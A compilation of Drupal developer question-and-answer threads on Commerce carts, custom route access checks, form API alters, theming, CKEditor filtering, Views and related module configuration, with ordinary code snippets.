How to create a teaser of a product I want to create a product catalog in drupal 8 commerce 2.

I have some products created, I also created a database index and in the view (Home>Administration>Structure>Views) I want to show 'rendered entity'(product teaser) instead of fields, because the variation field contains image, color, size... and I just want to display image, title and price in the catalog.

I tryed creating a new content type with a field 'Remote ID' but I have an error enabling this field, PluginNotFoundException, and I didn't found any solution.

So, I don't know how to create a teaser for a product without create a content type (or fixing the PluginNotFoundException).

You can render individual fields from the variation, setting up a relationship in the View Advanced Section: Product uses variations.

After the relationship is set, then you can select what fields you need to display, filter or order the view results.


Excluding empty(Null) fields when using EntityFieldQuery query condition Is it possible to select all of the entities who's xyz field is empty?

I tried soemthing like this:

->fieldCondition('field_name', 'value', NULL, 'IS NOT NULL');

However, this doesn't seem to work.

Any ideas?

If you look on the fieldCondition documentation page you will see the following warning:

  Note that entities with empty field values will be excluded from the EntityFieldQuery results when using this method.

Checking whether a field exists or not has been added to entityFieldQuery in Drupal 8, but unfortunately won't be backported to Drupal 7.

There are various methods to achieve this:

Using a tag and hook_query_TAG_alter as mentioned by @Clive, see comment 4 on  the Drupal issue for an example ;
First query all non NULL entries, then query all entries excluding the previous ones, as described in @seddonym's answer and in comment 5 on the Drupal issue ;
You can write your query using SelectQuery rathen than EntityfieldQuery as such:

_

$q = db_select('node', 'n');
$q->fields('n', array('type'))
  ->condition('n.type', 'my_node_type', '=')
  ->addJoin('LEFT', 'field_data_field_my_field', 'f', 'f.entity_id = n.nid');
$q->isNull('f.value');
$r = $q->execute();


How to create a permission with logic I need to create a permission to allow users to see the content overview page (/admin/content) only during business hours (9 AM to 5 PM).

Drupal core comes with the "Access the Content overview page" permission; but I need "Access the Content overview page during work hours".

I know how to create a permission and how to test that the user has the permission. What I don't understand is how to assign some logic to a permission itself (for example, within business hours).

I can do this in mymodule.permissions.yml.

access content overview within business hours:
  title: 'Access the Content overview page within business hours'
  restrict access: TRUE

I can check the user has the permission with \Drupal::currentUser()->hasPermission('access content overview within business hours').

How can I make the permission return TRUE only during business hours?
How can I check the permission only when the users visits the content overview page?

I can foresee multiple use cases for needing some logic implementation within the permission itself, for example when allowing/restricting access to certain pages depending on whether the environment is development or production, or allowing/restricting access depending on the value of some fields.

- EDIT -

As suggested in the comments, I've started by creating the following three files on my module; but it doesn't work. The CustomAccessChecks::access never gets called.

File: custom_access.services.yml

services:
  custom_access.route_subscriber:
    class: Drupal\custom_access\Routing\AdminRouteSubscriber
    tags:
      - { name: event_subscriber }
  custom_access.access_checker:
    class: Drupal\custom_access\Access\CustomAccessChecks
    tags:
      - { name: access_check }

File: src/Access/CustomAccessChecks.php

<?php

namespace Drupal\custom_access\Access;

use Drupal\Core\Routing\Access\AccessInterface;
use Drupal\Core\Session\AccountInterface;
use Drupal\Core\Access\AccessResultAllowed;
use Symfony\Component\Routing\Route;
use Drupal\Core\Routing\RouteMatchInterface;

class CustomAccessChecks implements AccessInterface {

  /**
   * A custom access check.
   *
   * @param \Drupal\Core\Session\AccountInterface $account
   *   Run access checks for this account.
   */
  public function access(Route $route, RouteMatchInterface $route_match, AccountInterface $account) {
    return AccessResultAllowed::allowedIf((int) $account->id() === 1);
  }
}

File: AdminRouteSubscriber.php

<?php

namespace Drupal\custom_access\Routing;

use Drupal\Core\Routing\RouteSubscriberBase;
use Symfony\Component\Routing\RouteCollection;

class AdminRouteSubscriber extends RouteSubscriberBase {

  /**
   * {@inheritdoc}
   */
  public function alterRoutes(RouteCollection $collection) {

    if ($route = $collection->get('system.admin_content')) {
      $route->setRequirement('_custom_access', '\Drupal\custom_access\Access\CustomAccessChecks::access');
    }
  }
}

As expected, visiting '/admin/content' as the main administrator $account->id() === 1 works, but when visiting as another authenticated user, I still can access the page.

What I'm missing?

When the access to a route doesn't depend uniquely on a single permission, you need to implement what Access checking on routes describes.

Implement a service tagged access_check
Associate it with the route

Since you are altering the route defined from another module, you need to also follow Altering existing routes and adding new routes based on dynamic ones.

example.services.yml

services:
  example.route_subscriber:
    class: Drupal\example\Routing\RouteSubscriber
    tags:
      - { name: event_subscriber }

  example.access_checker:
    class: Drupal\example\Access\CustomAccessCheck
    tags:
      - { name: access_check }

RouteSubscriber.php

namespace Drupal\example\Routing;

use Drupal\Core\Routing\RouteSubscriberBase;
use Symfony\Component\Routing\RouteCollection;

/**
 * Listens to the dynamic route events.
 */
class RouteSubscriber extends RouteSubscriberBase {

  /**
   * {@inheritdoc}
   */
  protected function alterRoutes(RouteCollection $collection) {
    if ($route = $collection->get('system.admin_content')) {
      $route->setRequirement('_custom_access', 'example.access_checker::access');
    }
  }

CustomAccessCheck.php

namespace Drupal\example\Access;

use Drupal\Core\Session\AccountInterface;
use Drupal\Core\Access\AccessResult;
use Drupal\Core\Routing\Access\AccessInterface;

/**
 * Checks access for displaying configuration translation page.
 */
class CustomAccessCheck implements AccessInterface {

  /**
   * A custom access check.
   *
   * @param \Drupal\Core\Session\AccountInterface $account
   *   Run access checks for this account.
   *
   * @return \Drupal\Core\Access\AccessResultInterface
   *   The access result.
   */
  public function access(AccountInterface $account) {
    // Check permissions and combine that with any custom access checking needed. Pass forward
    // parameters from the route and/or request as needed.
    return ($account->hasPermission('access content overview within business hours') && $this->checkTimeAccess()) ? AccessResult::allowed() : AccessResult::forbidden();
  }

}

The checkTimeAccess() method I didn't write should check if the user is trying to access the route during the business hours.

I cannot tell what happens with a route using the _permission requirement when it is altered to use also the _custom_access requirement. I didn't find the Drupal core code handling the access to a route, so I cannot say which requirement is used first.
I didn't also find a way to remove requirements from a route when altering it.


Programmatically executing a node search Is it possible to programmatically execute a node search? Maybe via NodeSearch or Drupal\search?

The closest I could get was to programmatically do stuff such as:

\Drupal::service('search.index')->clear();

echo \Drupal::service('plugin.manager.search')->getCacheMaxAge();

Note that I don't want to use search_api but simply what Drupal 8 provides out of the box as a response to /search/node?keys=test. Also note that I don't wish to integrate via HTTP.

You can achieve that with the search plugin used by the search page entity with the node_search id.

use Drupal\search\Entity\SearchPage;

// Default is the node_search page.
$id = \Drupal::service('search.search_page_repository')->getDefaultSearchPage();
$defaultSearchPage = SearchPage::load($id);
$searchPlugin = $defaultSearchPage->getPlugin();
$searchPlugin->setSearch($keywords, $parameters, $arguments);
$searchPlugin->buildResults(); // $searchPlugin->execute() works too if you want raw results


How to check if the user is guest in a form I have a form in a page, so what I want to do is to check wether the user is a guest or a logged user and depending of that add an additional field to a guest, but hide it for the logged user, should this be done in the code of the form or there are some built-in settings for that behaviour?

Can you please elaborate the question. As per the understanding you have to  use this condition to check the user login status.
Since you have to use it in a form, you can implements with hook_form_FORM_ID_alter().

Use this code to check.

if (user_is_logged_in()) {
    echo "Logged In";
}
else {
    echo "Not logged in";
}

Edited:

Example for user_profile_form alter.
FORM_ID = user_profile_form

/**
 * Implements hook_form_FORM_ID_alter().
 */
function mymodule_form_user_profile_form_alter(&$form, &$form_state, $form_id) {
}

To find form id add this in your custom module.

/**
 * Implements hook_form_alter().
 */
function mymodule_form_alter(&$form, &$form_state, $form_id) {
  print_r($form_id);
}

When you visit the page the form is on, the form_id  will be displayed.

print_r($form); , you can see all details of a form, like form ID, field names of a form etc.

Also you can inspect the form and find the form id

<form enctype="multipart/form-data" action="/user/288/edit" method="post" id="user-profile-form" accept-charset="UTF-8">

Here id="user-profile-form",
 in order to use it in code replace hiphen (-) with undescore(_)

 user-profile-form => user_profile_form


Calculate the sum of two form fields with javascript? Hello there i was wondering if anyone had the solution to a problem i am having with my  Custom Module. I created a custom form a few days ago and i need two or more(4) field values to be added together and the sum to be output in another field(total).Please not i am using form_panels here s snippet of how the fields are built.

$form['Contract']['twelfth'] = array(
 '#type' => 'textfield',
 '#title' => t('Plus FEE of:'),
 '#size' => 40,
 '#field_prefix' => "$",
 '#form_panel_row' => 7,
 '#form_panel_col' => 1
);
$form['Contract']['thirteenth'] = array(
 '#type' => 'textfield',
 '#title' => t('For a OTHER PRICE of:'),
 '#size' => 30,
 '#field_prefix' => "$",
 '#form_panel_row' => 7,
 '#form_panel_col' => 3
);
$form['Contract']['fourteenth'] = array(
 '#type' => 'textfield',
 '#title' => t('For a TOTAL PRICE of:'),
 '#size' => 40,
 '#default_value' => "",
 '#field_prefix' => "$",
 '#form_panel_row' => 8,
 '#form_panel_col' => 1
 );

now how can i insert Jquery or Javascipt into this form to calculate those two fields together?

Replace your code to next:

<?php
  $form['Contract']['twelfth'] = array(
   '#type' => 'textfield',
   '#title' => t('Plus FEE of:'),
   '#size' => 40,
   '#field_prefix' => "$",
   '#form_panel_row' => 7,
   '#form_panel_col' => 1,
   '#attributes' => array(
      'class' => array('summable'),
    ),
  );
  $form['Contract']['thirteenth'] = array(
   '#type' => 'textfield',
   '#title' => t('For a OTHER PRICE of:'),
   '#size' => 30,
   '#field_prefix' => "$",
   '#form_panel_row' => 7,
   '#form_panel_col' => 3
   '#attributes' => array(
      'class' => array('summable'),
    ),
  );
  $form['Contract']['fourteenth'] = array(
   '#type' => 'textfield',
   '#title' => t('For a TOTAL PRICE of:'),
   '#size' => 40,
   '#default_value' => "",
   '#field_prefix' => "$",
   '#form_panel_row' => 8,
   '#form_panel_col' => 1
   '#attributes' => array(
      'id' => 'totalsum',
    ),
    '#js' => array(drupal_get_path('module', 'YOURCUSTOMMODULE') . '/js/custom.js'),
   );
?>

Don't forget rename YOURCUSTOMMODULE to your module name.

Create custom.js in your module path/js folder:
custom.js:

(function ($) {

Drupal.behaviors.custom = {
  attach: function (context) {
    $('input.summable').keyup(function() {
      var sum = 0;
      $('input.summable').each(function() { sum += parseFloat(this.value); });
      $('#totalsum').val(sum);
    });
  }
};

})(jQuery);

p.s. Don't forget add summing code for inputs in submit function of your form in drupal module, since user can disable JS in browser.


How do I prevent CKEditor 4 from stripping Google AdSense asynchronous tags? For whatever reason, CKEditor 4 is stripping Google AdSense asynchronous tags from my Full HTML text format.

What starts as this (placeholders substituted for IDs):

<script async src="//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js">
</script>
<!-- Top Banner -->
<ins class="adsbygoogle"
    style="display:inline-block;width:728px;height:90px"
    data-ad-client="ca-pub-XXXXX"
    data-ad-slot="XXXXX"></ins>
<script>
    (adsbygoogle = window.adsbygoogle || []).push({});
</script>

Ends up as this:

<script async src="//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js">
</script>
<!-- Top Banner -->
<script>
    (adsbygoogle = window.adsbygoogle || []).push({});
</script>

Again, this is in the Full HTML text format and I'm able to get the ins tag through without attributes, but not with attributes, even though other tags have no problems getting their attributes through to save.

For what it's worth, I do have the following set on the CKEditor profile:

config.allowedContent = true;

UPDATE

CKEditor is only stripping the ins tag (and attributes) when it's an empty tag as given by AdSense. If I add anything – a non-breaking space, even – CKEditor is preserving the ins tag and attributes.

Per tenken's suggestion, I added the following line to my config, but it didn't help.

config.protectedSource.push( /<ins class=\"adsbygoogle\" style=\".*\" data-ad-client=\".*\" data-ad-slot=\".*\"\><\/ins\>/g );

Have you read this blogpost (not by me) Drupal WYSYWG Module Custom CkEditor Configuration by Philip Norton.

Your <script> tags are not being stripped out, but the funky <ins> tag is. From that blog post you should be able to add a protectedSource to the AFC rules so that those elements are not stripped. This is untested but deriving from the blogpost:

// Allow Google Adsense <ins> tags, I'm being more specific
// than allowing any raw <ins> tag here. This may be too specific, but
// play with it.
config.protectedSource.push( /<ins class=\"adsbygoogle\"\>.*?<\/ins\>/g );

In order for this configuration to work you may have to install the WYSIWYG module (or append to your own ckeditor javascript profile directly).


how to empty the first select option with form api? I have made two select fields with the form api d7

and i need to make it required and the first option is null to force the user select both

i tried with #REQUIRED #EMPTY_VALUE OPTION  but gives error unsupported operands

i see the validation function may help but my case have an ajax request based on the first select to get the values of the second

so i need to make it required and the first is null

the code answer

 $form['gov']=array('#title'=>'Gov','#name'=>'governorate'
,'#type'=>'select','#options'=>$options,'#ajax'=>array('callback'=>'ajax_callback',
'event'=>'change','wrapper'=>'replace'
  ,'method'=>'replace'));

 $form['city']=array("#title"=>'City',
'#name'=>'city','#type'=>'select'
,'#prefix' => '
',
'#suffix' => '
','#options'=>$op);

also the ajax request only happens one time

Add a empty value setting to the form array:

$form[$key] = array(
  ..
  '#empty_value' => '',
  ..
);

That will add a - Select - option to the list that will not pass a required validation if the user leaves it on - Select -.

Don't add an empty value to the #options array '' => t('Please select'). That will still pass a required validation if the user leaves that option selected.


User Permission to a Certain Page I want to give registered users permission to access, but not edit a certain page. Ideally what I want is this: create a link or a menu item that is only seen and or accessible by certain signed in users. I would like to create a role to give to these people as they sign up, but I have noticed that Drupal is not quite like other content management systems I have used in the past. On a platform such as DotNetNuke you were able to assign a permission for a user to access a web page but not edit it. It appears from what I have seen that you can only add permissions for users to edit the webpage/content of which you give them. Is it possible to give someone access to a page without giving them any administrative privileges? Any modules that could help me out? Thanks!

It is correct that Drupal has only a very course access control structure for individual nodes (the basic access control system in Drupal is by content type).  For more fine-grained access control than content type, you need to add a node access control module to your site.

There is a page at the Drupal.org wiki giving an overview of node access modules.  You may start by reading that and try to find a suitable module. This page also provides a gentle introduction to node access control in Drupal.

One of these modules is Nodeaccess (also suggested by Ursula).  It lets you control node access (i.e. view, edit, delete) by user and by role.

A simpler alternative is a module named Flexi access.  This only let you set up lists of users (Access Control Lists) that indicate type of access (i.e. view, edit, delete) these users shall have.  It may be simpler to set up and use than Nodeaccess if you don't need to control access by role.

Disclosure: I am a co-maintainer of Flexi access.


Pathauto: Bulk update not working Pathauto was working for me in the past but just now, after setting a new pattern for my content clicking bulk update while checking every single content type to be sure, I get the "No new URL aliases to generate" message.

I even tried changing the pattern of my other content that already has generated url aliases and ran bulk update later, but I still got the "No new URL aliases to generate" message.

How can I debug this problem? My pattern is straightforward:

blogs/[node:title]

Devel shows that the [node:title] token exists.

Updating it from the admin/content page works as normal. I select what needs to be updated and scroll to the bottom to "Bulk operations -> Update URL alias".

I don't need to delete any URL aliases manually


File Field related issue / How to hide file size information? I used CDN option while creating my sub-theme. I find less and sass things pretty confusing since I am someone who haven't mastered the css yet. What I have found out so far is:

I can edit some styling copying some css lines from "/libraries/bootstrap/css/bootstrap-theme.css" to "subtheme/css/style.css" file.

What I want to do is to remove / disable / hide the file size information which shows up next to the file link which is the product of 'file-field' of Drupal. This is viewed using bootstrap's table styling / template or whatsoever you call it.
Is this something that should be accomplished using css or it is a template file or maybe it can only be modified in module?

Copy your parent's theme file-html.twig and place in it your subtheme's /templates folder.
Remove line that has {{ file_size }}, example:
{{ file_size }}

Flush cache.


Do i need to worry about using deprecated functions in Drupal 8? I'm finding Drupal 8 a pretty steep learning curve, and quite often when I do find a solution that works PhpStorm tells me that the function I'm using is deprecated.

E.g. this answer shows how to list a bundles fields, however entityManager is deprecated and will removed before Drupal 9.

How long before Drupal 9 will this be removed? Like next week, next month, next year or in several years just before D9 is released.

Do I need to worry about using deprecated functions? Is it best practice to avoid them all together?

I don't have a reference handy, but I had the conversation about removal with one of the Drupal committers this weekend.

Right now, the committers will not remove any functions from core that are marked as deprecated.

Currently, there is no work being done on Drupal 9.  When the 9.0.x branch gets forked from 8.x.y, they will start to accept patches against 9.0.x that remove deprecated functions.

However, there is work to remove usage of deprecated functions in core.  For example, format_date() is marked as deprecated.  This function will remain until 9.0.0 is released, and it will never actually be removed from any 8.x.y version.  However, patches against 8.x.y will be accepted to replace format_date() in core with use of the date formatter service.  And, in general, no new usages of deprecated functions are allowed in patches (there are some small exceptions for this for consistency sake, mainly in tests).

Should you use them?  In general, no.  Typically, a deprecated function was a placeholder from Drupal 7 while Drupal 8 was being developed that didn't get replaced (eg, format_date()), or left for backwards compatibility as Drupal 8 got refactored (eg, the Entity Manager service).  Nearly all of the docs on deprecated functions describe what should be done instead.  In PhpStorm, Command-B will take you to the function definition, and Command-[ will take you back to where you were.


Manage empty item in item_list theme Imagine this simple

 $items = array(
   'string',
   'string2',
   $extra_items,
 );

And theme a block content like

 $content = array(
   'subject'   => t('Block title'),
   'content'   => array(
     '#theme'  => 'item_list',
     '#items'  => $items,
     '#attributes' => array('class' => 'my-UL'),
   ),
 );

$extra_items is getting values from a custom hook that may be empty!In that case
theme_item_list() brings an empty

 for that item that is NULL

How can i ensure that this

 is displayed only when this item has a value?

You simply need to run array_filter on $items - this will remove the empty entries.

Whether this should be handled by theme_item_list or not is debatable. It doesn't make semantic sense to theme empty list items - however in most cases the filtering would not be necessary, so from a performance point of view it doesn't make sense for theme_item_list to do it.


Drush only partially working in both VM (Ubuntu) and host OS (Mac OS X 10.10) I am currently running on a MacBook Pro with OS X 10.10 (Yosemite). That is the host machine and OS. I am using a synced folder between the host and my VM, which is running Laravel's Homestead VM (Ubuntu instance).

The project is a Drupal 7 project and I am running the latest version of Drush installed both on Mac OS X (via homebrew) and within the VM (I can't remember how I ended up installing it there). Very new setup, had the machine for a week and a half. Setup this way for maybe a week.

I am able to access and load the site just fine from the VM in my browser. It works great there. But, when I go to use drush against it (both in the VM and in Mac OS) it doesn't seem to give me most of the options.

Within the VM (ssh'ed in) I run "drush pml". Below is the message I get.

Command pm-list needs a higher bootstrap level to run - you will need to invoke drush from a more functional Drupal environment to run this command.                     [error]
The drush command 'pml' could not be executed.

I get the same message in Mac OS X. I am running the command from the docroot folder where drupal is installed. Not sure why this is. I could see it happening in the host OS. But it SHOULD be working within the VM that is running it and has the DB installed.

I haven't used Drush or Drupal for 2 years. So I probably forgot an obvious config or something. Please help me out here.

Thanks!

If you are in docroot then the most likely cause is multiple site definitions which mean drush can't tell which is active. You may need to supply the -l or --url parameter to disambiguate if that is the case.

In your drushrc file you can set up parameters so as to avoid having to keep supplying the parameter explicitly.


Get page number of multistep webform in tpl.php I have a multistep webform that I would like to display a video only on page one.

I am trying to find a reliable variable that will only be available on the first page.

I have tried this in hook_form_alter but it is unreliable when the user navigates back to a previous page. It works initially. Page one video shows, page two no video, back to page one no video, page two video shows.

I am using drupal_add_js to add a display:none on the video div when page_number > 1, but it isn't working as I expected. Any ideas?

I hacked it and used jquery to hide the div when there is an existence of a previous page class.


How do I implement a time picker? I tried to implement a time picker for a field opening hours. I used Bootstrap Date & Time picker and I set the FIELD TYPE to date, but I couldn't see any widget for BDT Picker in widget selection.

Then, I used jQuery UI Timepicker. The time picker is showing, but I can select only 0 for hours and 00 for minutes; all other cells are disabled. Also, the default time in the field is the current time.

What could the issue be?

When I select the date field type, the form has a date field with a full calendar. I need a field to pick only the time. How can I do it?

Create a field , select field type as Date (ISO format) or Date. And choose only year, hour, minutes, seconds(if needed). Select Date entry options under MORE SETTINGS AND VALUES , choose custom format as H:i

Add time format for H:i and also go-to admin/config/regional/date-time and add date type (to display in node view).
In add/edit page for time picker(only hours)

In view page

Hope this helps you with out any help of other modules.


How do I load the current items in cart of the anonymous user? I am working on a custom module for our payment system using Drupal 8 and Commerce 2. When a user removes and item for the cart or updates the quantity, I need to sync the two systems (our internal and Drupal commerce's cart). Our site has one store and all products are associated with that store.
I need to be able to load (and loop) over all the items still in the cart after the CartOrderItemRemoveEvent and the CartOrderItemUpdateEvent events. I tried using the following code, but the order is an empty array, despite the cart still having other items in it.
$user = \Drupal\user\Entity\User::load(\Drupal::currentUser()->id()); //Which is 0 for anonymous
$order = \Drupal::entityTypeManager()->getStorage('commerce_order')->loadByProperties(['uid' => $user->get('uid')->value, 'cart' => '0']);

Is there a way to get the anonymous user's cart and a list of items still in that cart?
//updated
 public function cartItemRemoved(CartOrderItemRemoveEvent $event) {
      $cart_provider = \Drupal::service('commerce_cart.cart_provider');
      $cart = $cart_provider->getCart('default');
      $order_items = $cart->order_items->referencedEntities();
    \Drupal::logger('current cart items')->info('
' . print_r(json_encode($order_items), TRUE) . '
');

}

Get the current anonymous user's cart

  $cart_provider = \Drupal::service('commerce_cart.cart_provider');
  $cart = $cart_provider->getCart('default');

Get a list of items still in that user's cart

$order_items = $cart->order_items->referencedEntities();

Bonus
$cart_manager = \Drupal::service('commerce_cart.cart_manager');

Update order item
$cart_manager->updateOrderItem($cart, $order_item);

Remove order item
$cart_manager->removeOrderItem($cart, $order_item);

Empty cart
$cart_manager->emptyCart($cart);

Create order item
$order_item = $cart_manager->createOrderItem($entity, $quantity);

Add order item
$cart_manager->addOrderItem($order_item);


Drupal Commerce default amount before adding a product I want that the Drupal Commerce module checkout by default starts with one specific product , whether you choose another product or not.

Is this possible to achieve this by building a rule? Which rule do I need to build?

You can do this, but I doubt that this is possible with rules.

What you want is a custom checkout flow. Either this can be done by altering the checkout flow provided by Commerce, or disable it completely and write your own.

Either way you will need to write your own code to create this custom checkout experience, and this is beyond what Rules is capable of.


How to reload a node page after Comment submit I'm using AJAX Comments to allow users to submit command using AJAX. I want to refresh the page after comment is submited.

You can achieve this using below code:

 Drupal.ajax.prototype.commands.ajaxCommentsAfter = function(ajax, response, status) {
 try {
     location.reload();
 } catch (e) {
     console.log('ajaxComments-After: ' + e.name)
 }

};


Taxonomy Term page visit report Is there any module which tracks page visit count for taxonomy terms?

Several module exists for node visit report (including Core Statistics). But I have not found any for taxonomy term page visit count.

Some posts found suggest using the Google Analytic module for this purpose. But my client does not want to use Google Analytic as this is intranet site. Still wants a report for category pages visit.

Consider using the Forena module, it comes with all sorts of reporting features. And all sorts of hooks if you want to use them in your own custom modules.
Here is an excerpt from its Community documentation:

Forena Reports is built of the idea of using SQL to get data out of a database and use XHTML and CSS to format it into web reports.
It is designed to leverage existing knowledge of HTML, CSS, SQL and JavaScript to help you create rich interactive web reports.

In this specific case: if you know in which Drupal table (or combination of tables) the info is stored that you are looking for (like your which tracks page visit count for taxonomy terms), then it's a matter of putting together an appropriate SQL statement to retrieve those data, and then format it in a nicely looking report (and even chart if you'd want).
Curious to hear if this somehow could work in your case ...
Disclosure: I'm a co-maintainer of Forena,
I hope this does not violate the site's policy on self-promotion.


Using different field template suggestion in different view mode I have a field field_a that has a template suggestion of field--node--field_a.html.twig. Using that field template suggestion, I've modified the field to render a certain way within the template field--node--field_a.html.twig.

If I then create a teaser view mode and want to have the field render slightly different within the teaser, how do I write the field template suggestion to target only the teaser view mode?

You can do it like so in your themes MYTHEME.theme file:

/**
 * Implements hook_theme_suggestions_field_alter().
 */
function MYTHEME_theme_suggestions_field_alter(&$suggestions, array $variables) {
  $element = $variables['element'];
  $suggestions[] = 'field__' . $element['#entity_type'] . '__' .
  $element['#field_name'] . '__' . $element['#bundle'] . '__' .
  $element['#view_mode'];
}

You can remove $element['#bundle'] but I left that in there, it will create new template suggestions so you can target view modes by node type instead of apply it to every teaser view mode of every node type.

You could just create two suggestions as well if you want:

/**
 * Implements hook_theme_suggestions_field_alter().
 */
function MYTHEME_theme_suggestions_field_alter(&$suggestions, array $variables) {
  $element = $variables['element'];

  $suggestions[] = 'field__' . $element['#entity_type'] . '__' .
  $element['#field_name'] . '__' . $element['#bundle'] . '__' .
  $element['#view_mode'];

  $suggestions[] = 'field__' . $element['#entity_type'] . '__' .
  $element['#field_name'] . '__' . $element['#view_mode'];
}

This will create new suggestions, as:

field--ENTITY--FIELD-NAME--ENTITY-BUNDLE--VIEW-MODE.html and field--ENTITY--FIELD-NAME--VIEW-MODE.html.twig, so you would have:

field--node--field-a--article--teaser.html.twig and field--node--field-a--teaser.html.twig to use.

Then, of course, the normal code in the field template works just the same:

{% for item in items %}
  {{ item.content }}
{% endfor %}

Now you can markup fields for view modes of all node types, or also override it for each node type.


How to change title of profile-profile2_machine_name only, but not profile-profile2_machine_name/%user I'd like to change the title of my profile-profile2_machine_name page, but not the page profile-profile2_machine_name/%user page.

This is because I have a settings menu for each user in my profile-profile2_machine_name page and it's a private profile page, while profile-profile2_machine_name/%user is the public profile page.

I've tried many things but when using arg, drupal_get_path_alias() and $_GET['q'], I see that both pages return the same value, which is profile-profile2_machine_name/%user

I think this module will do what you need. I have used it on a few projects. It works. And I think it supports wildcards. Also it says it supports tokens.


How to change the starting order number for Commerce 2? I want to change the initial order number for my new Commerce store to 777 instead of 1.

For Drupal 7, there is an explanation here, but I know the Commerce architecture has changed a lot.

I'm using Drupal 8.4 and Commerce 2.1.

The basic approach described is to use a sql query to adjust AUTO_INCREMENT for the order table-- is that still the recommended approach in Commerce 2?

I used the command in the given explanation on my commerce 2 projects and it worked without any problems. So I am pretty sure you can't do anything wrong with this command.


How to remove all roles from a user? Users on my site generally have several roles.  However, every once in awhile I get a spam user, and so I close that account by flagging it with a spam flag, which triggers a rule to block the account.

Since I compile statistics on my site based on the number of users having a given role, I don't want spam users to be included.  How can I automatically remove all roles from spam users?  (I suppose I could add rules components to check for each role and remove it if found, but there has to be a more efficient way...)

This function can help you

/**
 * Remove a role from a user.
 *
 * @param $user
 *   User object or user ID.
 * @param $role_name
 *   String value of role to be removed.
 */
function custom_remove_role_from_user($user, $role_name) {
  // For convenience, we'll allow user ids as well as full user objects.
  if (is_numeric($user)) {
    $user = user_load($user);
  }
  // Only remove the role if the user already has it.
  $key = array_search($role_name, $user->roles);
  if ($key == TRUE) {
    // Get the rid from the roles table.
    $roles = user_roles(TRUE);
    $rid = array_search($role_name, $roles);
    if ($rid != FALSE) {
      // Make a copy of the roles array, without the deleted one.
      $new_roles = array();
      foreach($user->roles as $id => $name) {
        if ($id != $rid) {
          $new_roles[$id] = $name;
        }
      }
      user_save($user, array('roles' => $new_roles));
    }
  }
}

first load user's roles, then call this function  something like

$user=user_load($uid);
foreach($user->roles as $role){
custom_remove_role_from_user($user, $role)
}


Collapsible fieldset misbehaviour For weeks now I have been using collapsible fieldsets to display a particular node type field without problems. Sometime during the last week it inexplicably stopped working. Collapsible fieldsets still work correctly for core stuff (e.g. module listing) and the legend element appears as it used to, only the fieldset is collapsed (as it should be) and can't be expanded (the legend isn't clickable). Inspecting the HTML I can see that the value that should be in the fieldset is indeed there. What's extra curious is that in the Views GUI the fieldsets work correctly but not on the frontend of the same view.

Edit: I have been using collapsible fieldsets successfully outside of views on manually created content. This is the first time I try to use them in a view and it was how I discovered they'd ceased to function, both on the view I'm working on and the PHP code I've written myself. As per Laxman13's post, collapse.js is not being loaded on my own pages for some reason.

This sounds like the necessary JS file is not being loaded.  Check Firebug or Developer Tools, etc to see if collapse.js is being added to the <head> of the page.  The file can be found at YOUR_DRUPAL_ROOT/misc/collapse.js


Is it possible to add a default URL parameter inside a theme template_XYZ function? I have a view with a pulldown menu within an exposed form. I want to set that URL parameter to a default value based on the currentLanguage() of the session. Is there a way to edit the URL parameters that a View can see within a custom module or the theme's template_ functions?

Within a custom module, it is possible to use the hook_views_pre_view hook. You can alter the $args array passed as parameter, in order to add or remove arguments.


Views Template Field Rendering I have a view which is a block on a page and I want to style the view. I tried using the rewrite output however I ran into a problem with it removing the style="" tag. So I had to resort to a .tpl.php to modify the display as I please.

Currently I am using

$d = $view->result;

    // Loop through it
    foreach($d as $r) {
        // Get values
        $position = $r->_field_data['nid']['entity']->field_position['und']['0']['value'];

        $name = $r->_field_data['nid']['entity']->title;

        $image = file_create_url($r->_field_data['nid']['entity']->field_picture['und']['0']['uri']);

        $path = drupal_lookup_path('alias',"node/".$r->nid);

        print "

".$name."".$position."
";
    }

And as you see this is extremely ugly and I am dependent on 'und' not changing... which it does.

Is there another way to get the view field data besides having to go through the array and find it? I tried render() and that didn't work. I also tried using entity_metadata_wrapper('node', $view); and that didn't work (the fields where not attached to the array).

I can't figure out how to do it without the hacking code... Help!

There did not appear to be any way to do this easier, so I did it manually/hacky.


database selection(db_Select) The database contains a mcms_field_data_field_cage_id_vbc table, which has more than 6000 records. I am using the following code to get the content of that table.

function hello_db() {
  $query = db_select('mcms_field_data_field_cage_id_vbc', 'tb');
  $query->fields('tb', array('field_cage_id_vbc_target_id'));
  $result = $query->execute()->fetchAssoc();
  foreach($result as $record) {
    drupal_set_message($record);
  }
}

The code doesn't show all the records in that table, but a single value.

Why doesn't the code work as expected?

fetchAssoc fetches a single record as an associative array; you're then looping over that one array and setting a message for the single column in that array, field_cage_id_vbc_target_id. Hence just the one result, an integer instead of the expected array(s).

You can use fetchAllAssoc instead:

$result = $query->execute()->fetchAllAssoc();

foreach($result as $record){
  drupal_set_message($record);
}


How do I add the Arab League flag as language? I can't find a flag of the Arab League in Drupal. How do I add this flag as language? It isn't showing in the languages' list.

You can't add a flag as a language, if you can add a new language go to YOUR_SITE/admin/config/regional/language/add choose the new language if your language is not listed you can add a Custom language (See at the bottom of the page the collapsed option).

And if you want to use a flag for your language you can install the Language Icons module. Then go to the folder (in your server) YOUR_SITE/sites/all/modules/languageicons/flags and add the flag for your new language, you need to use as a name YOUR_LANGUAGE_CODE.png


How to manage Sticky Content? I want to manage sticky content on front page of website.

I have made five content sticky on top for front page but my query its show by default according to publish date order but I want to fix the order of that sticky content.

Any suggestion or solution about how to do so?

Enable the "sticky" option within publishing options for 5 of your nodes. Then create a view (using the Views module) and for this view, within the "Sort criteria" of it, make sure to add  "Node: Sticky" as your primary sort criterium (using the Views UI).

When adding this sort criterium to your view, you'll also see "...To list sticky nodes first, set this to descending." (which is what you seem to be looking for).

To finish enter a path for the Views result, and use this path to set it as your frontpage.


Difference Between render($content['body']) and print $body[0]['value']; in node.tpl.php What is the difference between render($content['body']); and print $body[0]['value']; in node.tpl.php?

render($content['body']); seems to include all the fields while print $body[0]['value']; includes just the body field.

You kind of answered your own question. $content['body'] contains everything in a structure in which the render function can turn it into display. This includes all your fields.

print $body[0]['value'] simply prints the value of that one field bypassing any rendering functionality such as "weight".

Rendering is a fun thing in Drupal, especially when you get to Drupal 7. Think of what you're passing into "render" as instructions on how to output, whereas the value is simply... a string... a value.


How do I manage the meta tags 'title', 'description' and 'keywords'? I enabled the Panels module and created a panel page for a page in my site.

How do I manage the metatags 'title', 'description' and 'keywords' for a page generated for this panel page?

Any module to do it?

I need it to do it dynamically.

Nodewords module will help in this regard. This module will help to add meta tags on nodes and custom pages as well.


